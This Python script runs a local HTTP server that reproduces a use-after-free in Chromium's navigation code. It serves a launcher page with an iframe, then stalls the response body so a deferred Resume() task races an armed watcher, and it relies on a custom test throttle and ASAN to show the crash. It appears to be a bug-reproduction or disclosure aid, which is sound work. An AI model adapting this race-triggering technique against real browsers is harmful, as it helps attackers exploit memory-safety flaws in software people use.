#!/usr/bin/env python3
"""
HTTP server for the NavigationRequest::Resume() UAF POC.

Two endpoints:
  /                  -> launcher page that creates an iframe to /target?uafpoc-trigger
  /target?uafpoc-trigger
                     -> sends 200 + headers immediately, then DELAYS the body.
                        This guarantees the mojo response_body_watcher_ armed by
                        GetResponseBody() does NOT fire before the throttle's
                        posted Resume() task runs.

Why the body must be delayed:
  NavigationRequest::GetResponseBody() arms a SimpleWatcher with ArmOrNotify().
  If body bytes were already in the pipe, the watcher would fire on the very
  next message-loop turn, race the posted Resume() task, and possibly clear
  response_body_watcher_ before Resume() reads it. Delaying the body removes
  the race entirely: the Resume() task always wins.
"""
import http.server
import socketserver
import time
import threading
import sys

PORT = 8889

LAUNCHER_HTML = b"""<!DOCTYPE html>
<html>
<head><title>UAF POC launcher</title></head>
<body>
<h2>NavigationRequest::Resume UAF POC</h2>
<p>Loading iframe to trigger UAFPocThrottle in the browser process...</p>
<iframe src="/target?uafpoc-trigger" width="600" height="200"></iframe>
<p>Check browser stderr for ASAN heap-use-after-free.</p>
</body>
</html>
"""


class PocHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if "uafpoc-trigger" in self.path:
            # Trigger endpoint: send headers, then stall the body.
            # The browser receives the response head -> WillProcessResponse fires
            # on all throttles -> UAFPocThrottle calls GetResponseBody() and
            # returns DEFER. The body never arrives in time, so the
            # response_body_watcher_ stays armed when the posted Resume() task
            # runs.
            sys.stderr.write(f"[server] {self.path}: sending headers, then stalling body 30s\n")
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", "100")
            self.end_headers()
            self.wfile.flush()
            # Stall. The browser-process UAF should fire well within this window.
            time.sleep(30)
            try:
                self.wfile.write(b"<html><body>too late, browser already crashed</body></html>" + b" " * 41)
            except (BrokenPipeError, ConnectionResetError):
                pass
            return

        # Launcher page.
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(LAUNCHER_HTML)))
        self.end_headers()
        self.wfile.write(LAUNCHER_HTML)

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s - %s\n" % (self.address_string(), fmt % args))


class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == "__main__":
    with ThreadingTCPServer(("127.0.0.1", PORT), PocHandler) as httpd:
        sys.stderr.write(f"[server] listening on http://127.0.0.1:{PORT}/\n")
        sys.stderr.write(f"[server] navigate Chrome to http://127.0.0.1:{PORT}/\n")
        httpd.serve_forever()
